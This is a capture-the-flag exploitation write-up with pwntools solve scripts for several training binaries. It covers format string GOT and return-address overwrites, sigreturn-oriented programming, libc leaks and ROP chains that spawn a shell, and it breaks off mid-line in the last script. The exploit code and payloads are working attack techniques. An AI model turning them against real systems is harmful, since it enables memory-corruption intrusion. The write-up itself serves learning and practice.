# Baby-fmt Running the program, first it told us to pass a name![](https://hackmd.io/_uploads/HkciVZ7wn.png) Then we have to guess a lucky number ![](https://hackmd.io/_uploads/rktAV-7w2.png) Then it ends ![](https://hackmd.io/_uploads/Bk3XBZ7vn.png) The challenge is `Baby-fmt` so i test format string vulnerability ![](https://hackmd.io/_uploads/ryE5SZ7Pn.png) So that's the bug Decompiled binary ![](https://hackmd.io/_uploads/H1pgIZXv2.png) So it takes random number to pass to `lucky` global variable and check if our guess is equal to that value If not then the program exits If equal, the program calls the `flag` function Which is ![](https://hackmd.io/_uploads/HyqtUWmw2.png) So we have to call that function I find the offset of format strings to reach my input ![](https://hackmd.io/_uploads/B1CkD-Qw3.png) ![](https://hackmd.io/_uploads/S1xCDZQPh.png) So the offset in `name` is about 16-19 and in `number` is about 8-9 Now to the exploit Here i write address of `flag()` to the GOT of `exit` In the string we have to put the address of GOT at the end because it will have null bytes I try to find the offset of the address ![](https://hackmd.io/_uploads/S1efsZXv3.png) So the address is at `18` and the padding is 'AAAAB' The `%1000d` is for writing to address using `%n` The address of `flag` is `0x4008e9` equal to `4196585` So i try the payload ![](https://hackmd.io/_uploads/H1eXnb7D2.png) The padding changes because the number `1000` changes to `4196585` Attach with gdb Before the format string ![](https://hackmd.io/_uploads/Sk0Y3WXDh.png) After the format string ![](https://hackmd.io/_uploads/S1JJ6Zmwn.png) So we success fully write the GOT of `exit` to `flag` Continue and we trigger the `system` ![](https://hackmd.io/_uploads/SJgiRWXD2.png) ![](https://hackmd.io/_uploads/H15oAZmwh.png) Solve.py ```python= from pwn import * elf = context.binary = ELF('/home/kakaka/Train/exploit/Baby-fmt/fmt1') context.terminal = 'qterminal' context.timeout = 1000 p = process() exit_got = elf.got['exit'] #gdb.attach(p, gdbscript=''' #b *0x4009b3 #continue''') payload = b'%4196585x' payload += b'%18$n' payload += b'A'*2 #padding payload += p64(exit_got) #print(payload) p.sendline(payload) p.recvuntil(b'Your input: ') p.sendline(b'1') p.interactive() ``` # Babypwn When we run the program, it gets the input from keyboard then ends ![](https://hackmd.io/_uploads/HkR4TpNw3.png) Passing a large input to program ![](https://hackmd.io/_uploads/HkKw6T4vn.png) It has `Illegal instruction`, that means there may be an invalid instruction Debug with gdb ![](https://hackmd.io/_uploads/SkcJA6Ewh.png) We see that there is no main function So i disassemble the `_start` ![](https://hackmd.io/_uploads/SyW40p4w2.png) ![](https://hackmd.io/_uploads/SkmvCp4vn.png) These instructions execute a syscall, the syscall number is passed to `eax` which is `1` is the syscall number for `write` We can see the syscall table [here](https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md) The others argument is passed to `edi`, `rsi` and `edx` registers So we have `write(1, 0x40015d, 0x13)` `1` is the `fd` of `stdout` so it will write the output to the screen `0x40015d` is address of a string ![](https://hackmd.io/_uploads/H1WleCNPn.png) `0x13` is the length of string Same for ![](https://hackmd.io/_uploads/HyWQgR4wh.png) We have `read(0, rsp - 0x18, 0x100)` It reads `0x100` bytes from `stdin` and puts it to `rsp - 0x18` The last thing ![](https://hackmd.io/_uploads/Bkl25e04w3.png) It pus value at `rsp - 0x8` to `rax` then `syscall` intruction The bug is here, we can controll the value at `rsp - 0x8` by the `read` syscall before Here we use `Sigreturn-Oriented Programming (SROP)` When getting a signal, the program set up a back up to restore all the data before changing to kernel context, the idea is to restore things that the program doesn't set up The signal frame ![](https://hackmd.io/_uploads/H1gufCNvn.png) The `sigreturn` syscall which has the syscall number is `0xf` is responsible for restoring all the datas I try to put that into `rax` we read at `rsp - 0x18` and the `rax` is at `rsp - 0x8` so the padding is `16` ```python= payload = b'A'*16 #padding payload += p64(0xf) p.sendline(payload) ``` Attach with gdb and i see that ![](https://hackmd.io/_uploads/rkbkN0VD3.png) Successfully put `0xf` into `rax` Continue ![](https://hackmd.io/_uploads/r1UzV0EP3.png) We see that all the registers changes Those value are on the stack ![](https://hackmd.io/_uploads/HkorNCNDh.png) And we can overflow it I try the payload ![](https://hackmd.io/_uploads/rkE_ECEP2.png) Debuging it ![](https://hackmd.io/_uploads/rkoc4AVPn.png) So we have the offset of `rip`, `rsi`, `rdx`, `rdi` We have to control those register to `execve('/bin/sh', 0, 0)` We already have the string `/bin/sh` in the program ![](https://hackmd.io/_uploads/HJQDH0Nwh.png) But there's one problem is that `rax` is `0`, but it's supposed to be one of my ascii value After searching i find at [here](https://ieeexplore.ieee.org/document/6956568) > In order to execute a successful sigreturn system call, we must ensure that the kernel does not trip over any bad values in the signal frame. The first requirement is that the code segment register is restored correctly. On x86–64, when running in 64bit mode, the code segment register should contain the value 0×33. The second requirement is that the fpstate pointer is not a wild pointer. Fpstate points to the saved floating point unit state and if its address not valid, or the saved floating point state is not correct, our application will crash. This seems like a problem, since our assumption is that we do not yet know of any attacker controlled data on a known address. Luckily, when fpstate is NULL, Linux assumes no floating point operations had been used before the signal arrived. In this case, it clears the FPU state is and sigreturn succeeds. So we need put code segment register `0x33` which is after `2` offset from `rip` ```python= from pwn import * elf = context.binary = ELF('/home/kakaka/Train/exploit/Babypwn/challenge') context.terminal = 'qterminal' context.timeout = 1000 p = process() binsh = 0x400155 rip = 0x400153 #syscall gdb.attach(p, gdbscript=''' b *0x0000000000400153 continue ''') #rsp 0x55 #rip 0x56 #rdi 0x4e /bin/sh #rdx 0x52 #rsi 0x4f payload = b'A'*16 #padding payload += p64(0xf) for i in range(26): a = 0x41 + i if a == 0x55: payload += p64(0x41414141) elif a == 0x56: payload += p64(rip) elif a == 0x4e: payload += p64(binsh) elif a == 0x53: payload += p64(0x3b) elif a == 0x58: payload += p64(0x33) else: payload += p64(0) payload += p64(0)*8 # zero out others properties print(payload) p.sendline(payload) p.interactive() ``` Attaching with gdb ![](https://hackmd.io/_uploads/BysXPRNv2.png) We successfully put the values into corresponding registers Continue and we get a shell ![](https://hackmd.io/_uploads/Hki8P04Ph.png) ![](https://hackmd.io/_uploads/BkUDD0NP3.png) We can use `SigreturnFrame()` in `pwntools` ```python= from pwn import * elf = context.binary = ELF('/home/kakaka/Train/exploit/Babypwn/challenge') context.terminal = 'qterminal' context.timeout = 1000 p = process() binsh = 0x400155 rip = 0x400153 # gdb.attach(p, gdbscript=''' b *0x0000000000400153 continue ''') payload = b'A'*16 #padding payload += p64(0xf) frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = binsh frame.rsi = 0 frame.rdx = 0 frame.rsp = 0x41414141 frame.rip = rip payload += bytes(frame) print(payload) p.send(payload) p.interactive() ``` # Formatstring2 The program is kind of like Babyfmt and also has format string vulnerability I first try to find the offset of format string After a few tries ![](https://hackmd.io/_uploads/rkBJwvdwh.png) ![](https://hackmd.io/_uploads/r1Ogvw_D3.png) So i have the offset for the first `printf` is `18` and the second i `8` This time, there is no functions that calls the `system` for us ![](https://hackmd.io/_uploads/By1dDw_w2.png) The decompiled program ![](https://hackmd.io/_uploads/SyWCDDdDh.png) I thought i had to calculate the `system` address because the challenge gave me a `.so` file So i have to leak the libc Using gdb i see that ![](https://hackmd.io/_uploads/rJQjuvOP2.png) ![](https://hackmd.io/_uploads/rJrTOwdD3.png) So looks like `0x7f0100000000` is an address in libc I find the offset of that ![](https://hackmd.io/_uploads/HJC7YP_P3.png) Debugging with gdb to view the libc base and calculate the offset ![](https://hackmd.io/_uploads/ryTUYw_v3.png) The both offset are the same so it might be right Checking ![](https://hackmd.io/_uploads/SJe9Kvuwn.png) It's right Now we have the the libc, i think of writing it to `GOT` of others functions but the problem is that i don't know how to pass the `/bin/sh` to that Then i try to leak the stack then redirect the `rip` to the start of `main` to reuse the format string ![](https://hackmd.io/_uploads/S1bj5P_Dh.png) The stack address is right after the leaked libc so the offset of it is `30` Using gdb to get the `rbp` value then i get where the `ret` address is stored. It is `leak_stack - 248` Check it ![](https://hackmd.io/_uploads/BJNrivOv2.png) ![](https://hackmd.io/_uploads/rkK_jDOP2.png) So i success fully redirect the program But then the problem is the program crash when execute the first `printf` but not my format string but `printf("Give me your name: ")` But when i redirect it to `0x4008ea` which is `mov rbp, rsp` then it runs okay So to the exploit, my idea is loop a few times to `main` to reuse the format string, and each loop i write one gadget. I just need to write 3 times My ropchain will look like: ``` ------------- ret <- return address ------------- pop rdi ------------- address of /bin/sh ------------- system ``` The reason why there's a `ret` before `pop` is `movaps issues` explained below in `float` challenge Because i return to `main` at `mov rbp, rsp` but not `push rbp` so the return address changes after each loop After a loop the return address increase `0x10` ![](https://hackmd.io/_uploads/HygfBykO3.png) Next `ret` ![](https://hackmd.io/_uploads/ryP7S1y_n.png) The value of `rsp` increase `0x10` So now start my exploit ## Leak the libc and stack ```python= payload = b'%29$llxA' payload += b'%30$llxA' print(payload) print('Payload length is {}'.format(len(payload))) p.sendline(payload) p.recvuntil(b'Hi guy,') leak_libc = int(p.recvuntil(b'A')[:-1], 16) leak_libc -= 160138 libc.address = leak_libc leak_stack = int(p.recvuntil(b'A')[:-1], 16) rip = leak_stack - 248 print('Base libc: {}'.format(hex(libc.address))) print('Address of rip: {}'.format(hex(rip))) ``` Explained before ## ret to main To return to `main` the `lucky` variables must be equal to `atoi(input)` otherwise the program will call `exit` We can use formatstring to write `0` at `lucky` and because our formatstring is not a number so `atoi` function will returns `0` ```python= payload2 = fmtstr_payload(8, {rip: main, elf.symbols['lucky']: 0}) print(payload2) print('Length of payload2 is {}'.format(hex(len(payload2)))) p.sendline(payload2) ``` ## Write the ropchain So because after each loop, the return address increases `0x10` We have ``` rip <---- rip we leak rip + 0x10 <---- address to write pop rdi gadget rip + 0x20 <---- address to write /bin/sh rip + 0x30 <---- address to write system ``` The last return address is `rip + 0x30` So we need to write ``` ------------- POP RDI <--- rip + 0x38 ------------- address of /bin/sh <---- rip + 0x40 ------------- system <--- rip + 0x48 ``` Each loop we use first format string to write `main` to return address Second format string is for writing the gadget ```python= #first loop write the pop_rdi rip += 0x10 p.recvuntil(b'Give me your name: ') write_pop_rdi = fmtstr_payload(8, {(last_rip + 8): POP_RDI}, write_size='short') payload_ = fmtstr_payload(18, {rip: main, elf.symbols['lucky']: 0},write_size='int') p.sendline(payload_) p.recvuntil(b'Your input: ') p.sendline(write_pop_rdi) #second loop write the binsh rip += 0x10 p.recvuntil(b'Give me your name: ') write_binsh = fmtstr_payload(8, {(last_rip + 16): binsh}, write_size='short') payload3 = fmtstr_payload(18, {rip: main , elf.symbols['lucky']: 0}, write_size='int') print('len of payload3: {}'.format(hex(len(payload3)))) print(payload3) p.sendline(payload3) p.recvuntil(b'Your input: ') p.sendline(write_binsh) # stage 3 write the system rip += 0x10 p.recvuntil(b'Give me your name: ') write_system = fmtstr_payload(8, {(last_rip + 24): system}, write_size='short') payload4 = fmtstr_payload(18, {rip: _ret , elf.symbols['lucky']: 0}, write_size='int') p.sendline(payload4) p.recvuntil(b'Your input: ') p.sendline(write_system) ``` Attach with gdb The last `ret ` ![](https://hackmd.io/_uploads/B1X6P1kdh.png) The values are okay Continue ![](https://hackmd.io/_uploads/S1wJOkkuh.png) We get a shell ![](https://hackmd.io/_uploads/SJXlO11dh.png) Full script ```python= from pwn import * elf = context.binary = ELF('/home/kakaka/Train/exploit/Formatstring2/fmt2') libc = elf.libc context.terminal = 'qterminal' p = process(close_fds=False) main = 0x4008ea #main ret = 0x4008e9 _ret = 0x4006c1#0x00000000004006c1 : ret POP_RDI = 0x400b03#0x0000000000400b03 : pop rdi ; ret #gdb.attach(p, gdbscript=''' #b *0x0000000000400a6f #''') #leak the libc address payload = b'%29$llxA' payload += b'%30$llxA' print(payload) print('Payload length is {}'.format(len(payload))) p.sendline(payload) p.recvuntil(b'Hi guy,') leak_libc = int(p.recvuntil(b'A')[:-1], 16) leak_libc -= 160138 libc.address = leak_libc leak_stack = int(p.recvuntil(b'A')[:-1], 16) rip = leak_stack - 248 print('Base libc: {}'.format(hex(libc.address))) print('Address of rip: {}'.format(hex(rip))) system = libc.symbols['system'] binsh = next(libc.search(b'/bin/sh')) last_rip = rip + 0x30 print('address of system: {}'.format(hex(system))) print('address of binsh: {}'.format(hex(binsh))) #redirect the program payload2 = fmtstr_payload(8, {rip: main, elf.symbols['lucky']: 0}) print(payload2) print('Length of payload2 is {}'.format(hex(len(payload2)))) p.sendline(payload2) #first loop write the pop_rdi rip += 0x10 p.recvuntil(b'Give me your name: ') write_pop_rdi = fmtstr_payload(8, {(last_rip + 8): POP_RDI}, write_size='short') payload_ = fmtstr_payload(18, {rip: main, elf.symbols['lucky']: 0},write_size='int') p.sendline(payload_) p.recvuntil(b'Your input: ') p.sendline(write_pop_rdi) #second loop write the binsh rip += 0x10 p.recvuntil(b'Give me your name: ') write_binsh = fmtstr_payload(8, {(last_rip + 16): binsh}, write_size='short') payload3 = fmtstr_payload(18, {rip: main , elf.symbols['lucky']: 0}, write_size='int') print('len of payload3: {}'.format(hex(len(payload3)))) print(payload3) p.sendline(payload3) p.recvuntil(b'Your input: ') p.sendline(write_binsh) # stage 3 write the system rip += 0x10 p.recvuntil(b'Give me your name: ') write_system = fmtstr_payload(8, {(last_rip + 24): system}, write_size='short') payload4 = fmtstr_payload(18, {rip: _ret , elf.symbols['lucky']: 0}, write_size='int') p.sendline(payload4) p.recvuntil(b'Your input: ') p.sendline(write_system) p.interactive() ``` # Formatstring4 The challenge has the format string vulnerability ![](https://hackmd.io/_uploads/H1LZz3_vn.png) Checking with gdb and i see that the program is `PIE` ![](https://hackmd.io/_uploads/S128MnuDh.png) First i decompile the program with ida ![](https://hackmd.io/_uploads/Hkfsf3dw3.png) The main function gets input by `fgets` so it's safe, then it calls `exploit` function ![](https://hackmd.io/_uploads/SJc9G2dD2.png) So we have the format string bug at return and looks like we have to trigger the `system` above I think of redirecting the program to `system`, but i only have one format string bug so i can't leak anything Calculate the offset of formatstring ![](https://hackmd.io/_uploads/rywfVhOv3.png) ![](https://hackmd.io/_uploads/S1yfE3Owh.png) So the offset to reach the string is `10` but then i found out that the `7fffffffddb8` is the address of `ret` ![](https://hackmd.io/_uploads/rk2IN2uw3.png) So now we can redirect the program Even though the program is PIE but the first 2 bytes doesn't change ![](https://hackmd.io/_uploads/H14bHhuPn.png) ![](https://hackmd.io/_uploads/BkPMBnODh.png) So i just need to overwrite the `ret` using short write `%hn` The `0xb8b` is equal to `2955` so my payload: >%2955d%7$hn ![](https://hackmd.io/_uploads/S1rPHhuvn.png) # Float Running the program, it just gets input from user until timeout ![](https://hackmd.io/_uploads/BJLsL95vh.png) Decompile the program ![](https://hackmd.io/_uploads/SJvfD5qD3.png) So the program prints the string and call `chart_course` funtions with parameter `s`, and `s` is `rbp - 0x30` The `chart-course` function ![](https://hackmd.io/_uploads/BJgcwq5Dh.png) The function has infinite loop until we type `done`, else, it use `atof` function to convert our input to `float` type and set `*(0x4*i + a1)` to that, `a1` is the parameter passed to function, that's the bug, we can overflow it. Remember `a1`is at `rbp - 0x30` in `main`, so with big enough `i` we can write to `rip` I test that ![](https://hackmd.io/_uploads/BJwAuccwn.png) Segmentation fault Debug with gdb and find the offset, the `rip` is written with `i` is `15` and `16`, because the program is 64 bits and the `float` type is 32 bits But to overwrite with the correct value, we have to reverse the `atof` function, to do this i use `numoy` I create a function that convert my input and send to program ```python= def send_float(f): first_4bytes = f & 0xffffffff last_4bytes = (f & 0xffffffff00000000) >> 32 first_4bytes_float = np.frombuffer(p32(first_4bytes), dtype=np.float32)[0] last_4bytes_float = np.frombuffer(p32(last_4bytes), dtype=np.float32)[0] p.sendline(str(first_4bytes_float).encode()) p.sendline(str(last_4bytes_float).encode()) ``` Test if we redirect the program ```python= p.recvuntil(b'LAT[0]: ') for i in range(14): p.sendline(str(i).encode()) # padding until rip send_float(chart_course) ``` Set breakpoint at `ret` and look at the address `rsp` points to ![](https://hackmd.io/_uploads/Hychc99D3.png) So i redirected the program Now to the exploit Here i use `ROP` First, i try to leak the libc address I create the ROP chain that looks like ``` ------------ POP RDI; RET <---- rip ------------ PUT@GOT <---- argument ------------ PUT@PLT <---- leak ------------ ``` Payload to leak libc ```python= p.recvuntil(b'LAT[0]: ') for i in range(14): p.sendline(str(i).encode()) send_float(POP_RDI) send_float(elf.got['puts']) send_float(elf.plt['puts']) ``` See the leaked address ```python= leak = p.recv(1024) leak = leak[-7:-1] print('Leak is {}'.format(leak)) libc_leak = int.from_bytes(leak, byteorder='little') print('Libc leak is {}'.format(hex(libc_leak))) libc.address = libc_leak - libc.symbols['puts'] print('Address of libc: {}'.format(hex(libc.address))) ``` Checking with gdb ![](https://hackmd.io/_uploads/ry5Unc9wn.png) So now i have the libc, i can call `system` to get a shell I append the `main` address to the payload above to redirect the program run `chart_course` again and overflow it ```python= for i in range(14): p.sendline(str(i).encode()) send_float(POP_RDI) send_float(elf.got['puts']) send_float(elf.plt['puts']) send_float(elf.symbols['main']) p.sendline(b'done') ``` So now i create the ROP chain to call `system('/bin/sh')` Payload ``` ------------- POP RDI; RET <---- rip ------------- '/bin/sh' <---- argument for system ------------- system from libc <---- get shell ``` ```python= p.recvuntil(b'LAT[0]: ') for i in range(14): p.sendline(str(i).encode()) send_float(POP_RDI) print('Address of /bin/sh: {}'.format(hex(next(libc.search(b'/bin/sh'))))) send_float(next(libc.search(b'/bin/sh'))) print('Address of system: {}'.format(hex(libc.symbols['system']))) send_float(libc.symbols['system']) p.sendline(b'done') ``` Checking with gdb ![](https://hackmd.io/_uploads/ryhip9qwh.png) So i successfully redirect to `system` but i get `SIGSEGV`, after searching i found the solution [here](https://stackoverflow.com/questions/60729616/segfault-in-ret2libc-attack-but-not-hardcoded-system-call) >The MOVAPS issue If you're using Ubuntu 18.04 and segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the 64 bit challenges then ensure the stack is 16 byte aligned before returning to GLIBC functions such as printf() and system(). The version of GLIBC packaged with Ubuntu 18.04 uses movaps instructions to move data onto the stack in some functions. The 64 bit calling convention requires the stack to be 16 byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction. So i add `ret` gadget to align the stack ```python= p.recvuntil(b'LAT[0]: ') for i in range(14): p.sendline(str(i).encode()) send_float(ret_) send_float(POP_RDI) print('Address of /bin/sh: {}'.format(hex(next(libc.search(b'/bin/sh'))))) send_float(next(libc.search(b'/bin/sh'))) print('Address of system: {}'.format(hex(libc.symbols['system']))) send_float(libc.symbols['system']) p.sendline(b'done') ``` ![](https://hackmd.io/_uploads/r1ua05qD2.png) ![](https://hackmd.io/_uploads/H16pC5qwn.png) Success Solve.py ```python= from pwn import * import struct import numpy as np elf = context.binary = ELF('/home/kakaka/Train/exploit/Float/overfloat_patched') context.terminal = 'qterminal' p = process() libc = elf.libc def send_float(f): first_4bytes = f & 0xffffffff last_4bytes = (f & 0xffffffff00000000) >> 32 first_4bytes_float = np.frombuffer(p32(first_4bytes), dtype=np.float32)[0] last_4bytes_float = np.frombuffer(p32(last_4bytes), dtype=np.float32)[0] p.sendline(str(first_4bytes_float).encode()) p.sendline(str(last_4bytes_float).encode()) #gdb.attach(p, gdbscript=''' #b *0x400a1f #b *0x400992 #''') ret_ = 0x400661#0x0000000000400661 : ret ret = 0x4008df #0x00000000004008df <+138>: mov edx,ecx #POP_RSI_R15 = 0x400a81#0x0000000000400a81 : pop rsi ; pop r15 ; ret #PUSH_MOV_RBP_CALL_RAX = 0x40082a#0x000000000040082a : push rbp ; mov rbp, rsp ; call rax POP_RDI = 0x400a83 #0x0000000000400a83 : pop rdi ; ret #CALL_ESP = 0x400e9b #0x0000000000400e9b : call rsp #CALL_PUTS = 0x4009e8 #0x00000000004009e8 <+85>: call 0x400690 <puts@plt> main = 0x0000000000400993 #main p.recvuntil(b'LAT[0]: ') for i in range(14): p.sendline(str(i).encode()) send_float(POP_RDI) send_float(elf.got['puts']) #send_float(CALL_PUTS) send_float(elf.plt['puts']) send_float(elf.symbols['main']) p.sendline(b'done') p.recvuntil(b'VOYAGE!') leak = p.recv(1024) leak = leak[-7:-1] print('Leak is {}'.format(leak)) libc_leak = int.from_bytes(leak, byteorder='little') print('Libc leak is {}'.format(hex(libc_leak))) libc.address = libc_leak - libc.symbols['puts'] print('Address of libc: {}'.format(hex(libc.address))) p.recvuntil(b'LAT[0]: ') for i in range(14): p.sendline(str(i).encode()) send_float(ret_) send_float(POP_RDI) print('Address of /bin/sh: {}'.format(hex(next(libc.search(b'/bin/sh'))))) send_float(next(libc.search(b'/bin/sh'))) print('Address of system: {}'.format(hex(libc.symbols['system']))) send_float(libc.symbols['system']) p.sendline(b'done') p.interactive() ``` # Formatstring3 Run the program ![](https://hackmd.io/_uploads/r1BXs5APn.png) It ends after getting some inputs and doesn't print anything, but it's a format string challenge Decompiler with IDA and i see ![](https://hackmd.io/_uploads/HJ7Os50v2.png) It compares the first 3 bytes of `s` to `yes`, if not equal then the program ends, else it calls `filter` function with parameter my input ![](https://hackmd.io/_uploads/HkNJnq0vh.png) Basically, it interates until meeting `$` or `%` character and shift left my string, it's to avoid formatstring but i can bypass by using special character twice ![](https://hackmd.io/_uploads/SkXdh9CPh.png) So now debug with gdb First check the security flag ![](https://hackmd.io/_uploads/B1-j3qCPn.png) It has PIE In this challenge our string is not on the stack, it's global variable ![](https://hackmd.io/_uploads/HkxAM69Cvh.png) I find the offset of some values on the stack ![](https://hackmd.io/_uploads/BkrER9Rvn.png) First i leak the libc at offset `3` and leak stack at offset `40`, but the length of input is limited so i just can leak the stack using `%x` but that's enough because these value are the same at high bytes Here the value the program return is at `0x7fffffffdd58` ```python= p.recvuntil(b'Give me your name: ') p.sendline(b'name') p.recvuntil(b'Can you fix bug for me?') p.sendline(b'yes%%3$$llx|%%40$$x') p.recvuntil(b'yes') leak = p.recvuntil(b'|')[:-1] leak = int(leak, 16) print('Leak is {}'.format(hex(leak))) libc.address = leak - 1133111 print('Libc is {}'.format(hex(libc.address))) leak = p.recvuntil(b'\n')[:-1] leak = int(leak, 16) ret = leak - 0x100 print('Leak stack: {}'.format(hex(leak))) print('Ret: {}'.format(hex(ret))) ``` ![](https://hackmd.io/_uploads/HkFBliAv2.png) I just use the first 2 bytes of the stack, because the length of input i can only use shrot write `hn` I have the libc and the stack The offset above show that offset `16` point to offset `43` offset `10` point to offset `40` First i change first 2 bytes at offset `40` to point to `ret` address, so i can redirect the program But i can only write 2 bytes to `ret` The value at `ret` is a libc value, i can controll the first 2bytes so the program can be redirected to between `0x1d8f0` and `0x2ffff` offset in libc ![](https://hackmd.io/_uploads/Sy-nZoAP2.png) View the value of register at `ret` instruction ![](https://hackmd.io/_uploads/BJgcIzi0w2.png) We see that `r13` points to `main` And i see a gadget that calls `r13` > ROPgadget --binary libc6_2.35-0ubuntu3.1_amd64.so --range 0x1d8f0-0x2ffff | grep call ![](https://hackmd.io/_uploads/S1xRfiADn.png) Redirect the program to `main` ```python= payload = b'yes%%' ret = ret & 0xffff payload += str(ret - 3).encode() payload += b'd%%10$$hn' print(payload) p.sendline(payload) ``` The code above to change the value at offset `40` which is pointed by offset `10` ```python= CALL_R13 = CALL_R13 + libc.address CALL_R13 = CALL_R13 & 0xffff payload1 = b'yes%%' payload1 += str(CALL_R13 - 3).encode() payload1 += b'd%%40$$hn' print(payload1) p.sendline(payload1) ``` Redirect the program Set a breakpoint at `ret` instruction and continue i see the program run the `call r13` instruction ![](https://hackmd.io/_uploads/SJYK7iRv3.png) Now to the exploit After the call to `main` the offset and the value still remains, and each `main` we have `3` times to use format string, first `printf` we use to redirect the program to `main`, making it a loop. We can reuse the `payload1` above I created a function to do that ```python= def ret_to_main(payload): p.recvuntil(b'Give me your name: ') p.sendline(b'name') p.recvuntil(b'Can you fix bug for me?') p.sendline(payload) ``` Second `printf` to change the value at offset `43` to point to somewhere on the stack to write Third `printf` to write the value To write `64` value i have to loop the `main` 4 times, but here the last 2 bytes is always `0000` so i just need `3` loop So now i have arbitrary write I create a ropchain that looks like ``` ------------- POP RDI; RET <--- ret ------------- address of /bin/sh ------------- address of system ``` But to avoid `movaps issues` i add a `ret` ``` ------------- RET <--- ret ------------- POP RDI; RET ------------- address of /bin/sh ------------- address of system ``` I create a function that does write value to address ```python= def write_to(address, value, payload, ret = 0): first_2bytes_address = address & 0xffff second_2bytes_address = (address + 2) & 0xffff third_2bytes_address = (address + 4) & 0xffff first_2bytes_value = value & 0xffff second_2bytes_value = (value & 0xffff0000) >> 16 third_2bytes_value = (value & 0xffff00000000) >> 32 # round 1 ret_to_main(payload) pay_load = b'yes%%' pay_load += str(first_2bytes_address - 3).encode() pay_load += b'd%%16$$hn' p.sendline(pay_load) #change the address to write print('payload of round1: ', end = ' ') print(pay_load) pay_load1 = b'yes%%' pay_load1 += str(first_2bytes_value - 3).encode() pay_load1 += b'd%%43$$hn' p.sendline(pay_load1) #write to address print('payload1 of round 1: ', end=' ') print(pay_load1) if ret == 1: p.interactive() #round 2 ret_to_main(payload) pay_load = b'yes%%' pay_load += str(second_2bytes_address - 3).encode() pay_load += b'd%%16$$hn' p.sendline(pay_load) # change the address to write print('payload of round2: ', end = ' ') print(pay_load) pay_load1 = b'yes%%' pay_load1 += str(second_2bytes_value - 3).encode() pay_load1 += b'd%%43$$hn' p.sendline(pay_load1) # write to address print('payload1 of round 2: ', end=' ') print(pay_load1) #round 3 ret_to_main(payload) pay_load = b'yes%%' pay_load += str(third_2bytes_address - 3).encode() pay_load += b'd%%16$$hn' p.sendline(pay_load) # change the address to write print('payload of round3: ', end = ' ') print(pay_load) pay_load1 = b'yes%%' pay_load1 += str(third_2bytes_value - 3).encode() pay_load1 += b'd%%43$$hn' p.sendline(pay_load1) # write to address print('payload1 of round 3: ', end=' ') print(pay_load1) ``` It loops `3` times `main`, each loop it writes `2` bytes to address Creating the ropchain ```python= address_to_write_binsh = leak - 240 address_to_write_system = address_to_write_binsh + 8 write_to(address_to_write_binsh, binsh, payload1) write_to(address_to_write_system, system, payload1) write_to(address_to_write_binsh - 8, POP_RDI + libc.address, payload1) write_to(address_to_write_binsh - 16, RET + libc.address, payload1, 1) ``` ![](https://hackmd.io/_uploads/rkRBUjRvh.png) The image above is when i didn't add a `ret` to ropchain but it successfully to write `system` and `/bin/sh` on the stack, and of course Continue and it `SIGSEGV` ![](https://hackmd.io/_uploads/H1pqUiRwh.png) Adding a `ret` and it calls a shell ![](https://hackmd.io/_uploads/BkkpIiRP3.png) ![](https://hackmd.io/_uploads/HkrpUoAvh.png) solve.py ```python= from pwn import * elf = context.binary = ELF('/home/kakaka/Train/exploit/Formatstring3/libc/lib/chall') libc = ELF('/home/kakaka/Train/exploit/Formatstring3/libc/mywork/libc6_2.35-0ubuntu3.1_amd64.so') context.terminal = 'qterminal' p = process(cwd='/home/kakaka/Train/exploit/Formatstring3/libc/lib') gdb.attach(p, gdbscript='b printf') CALL_R13 = 0x2f4d3#0x000000000002f4d3 : call r13 POP_RDI = 0x2a3e5#0x000000000002a3e5 : pop rdi ; ret RET = 0x29cd6#0x0000000000029cd6 : ret def ret_to_main(payload): p.recvuntil(b'Give me your name: ') p.sendline(b'name') p.recvuntil(b'Can you fix bug for me?') p.sendline(payload) def write_to(address, value, payload, ret = 0): first_2bytes_address = address & 0xffff second_2bytes_address = (address + 2) & 0xffff third_2bytes_address = (address + 4) & 0xffff first_2bytes_value = value & 0xffff second_2bytes_value = (value & 0xffff0000) >> 16 third_2bytes_value = (value & 0xffff00000000) >> 32 # round 1 ret_to_main(payload) pay_load = b'yes%%' pay_load += str(first_2bytes_address - 3).encode() pay_load += b'd%%16$$hn' p.sendline(pay_load) #change the address to write print('payload of round1: ', end = ' ') print(pay_load) pay_load1 = b'yes%%' pay_load1 += str(first_2bytes_value - 3).encode() pay_load1 += b'd%%43$$hn' p.sendline(pay_load1) #write to address print('payload1 of round 1: ', end=' ') print(pay_load1) if ret == 1: p.interactive() #round 2 ret_to_main(payload) pay_load = b'yes%%' pay_load += str(second_2bytes_address - 3).encode() pay_load += b'd%%16$$hn' p.sendline(pay_load) # change the address to write print('payload of round2: ', end = ' ') print(pay_load) pay_load1 = b'yes%%' pay_load1 += str(second_2bytes_value - 3).encode() pay_load1 += b'd%%43$$hn' p.sendline(pay_load1) # write to address print('payload1 of round 2: ', end=' ') print(pay_load1) #round 3 ret_to_main(payload) pay_load = b'yes%%' pay_load += str(third_2bytes_address - 3).encode() pay_load += b'd%%16$$hn' p.sendline(pay_load) # change the address to write print('payload of round3: ', end = ' ') print(pay_load) pay_load1 = b'yes%%' pay_load1 += str(third_2bytes_value - 3).encode() pay_load1 += b'd%%43$$hn' p.sendline(pay_load1) # write to address print('payload1 of round 3: ', end=' ') print(pay_load1) p.recvuntil(b'Give me your name: ') p.sendline(b'name') p.recvuntil(b'Can you fix bug for me?') p.sendline(b'yes%%3$$llx|%%40$$x') p.recvuntil(b'yes') leak = p.recvuntil(b'|')[:-1] leak = int(leak, 16) print('Leak is {}'.format(hex(leak))) libc.address = leak - 1133111 print('Libc is {}'.format(hex(libc.address))) leak = p.recvuntil(b'\n')[:-1] leak = int(leak, 16) ret = leak - 0x100 print('Leak stack: {}'.format(hex(leak))) print('Ret: {}'.format(hex(ret))) binsh = next(libc.search(b'/bin/sh')) system = libc.symbols['system'] payload = b'yes%%' ret = ret & 0xffff payload += str(ret - 3).encode() payload += b'd%%10$$hn' print(payload) p.sendline(payload) CALL_R13 = CALL_R13 + libc.address CALL_R13 = CALL_R13 & 0xffff payload1 = b'yes%%' payload1 += str(CALL_R13 - 3).encode() payload1 += b'd%%40$$hn' print(payload1) p.sendline(payload1) ###################################### # CREATE ROPCHAIN ###################################### # payload1 is the payload writing to ret to return to main address_to_write_binsh = leak - 240 address_to_write_system = address_to_write_binsh + 8 print('Address of binsh: {}'.format(hex(address_to_write_binsh & 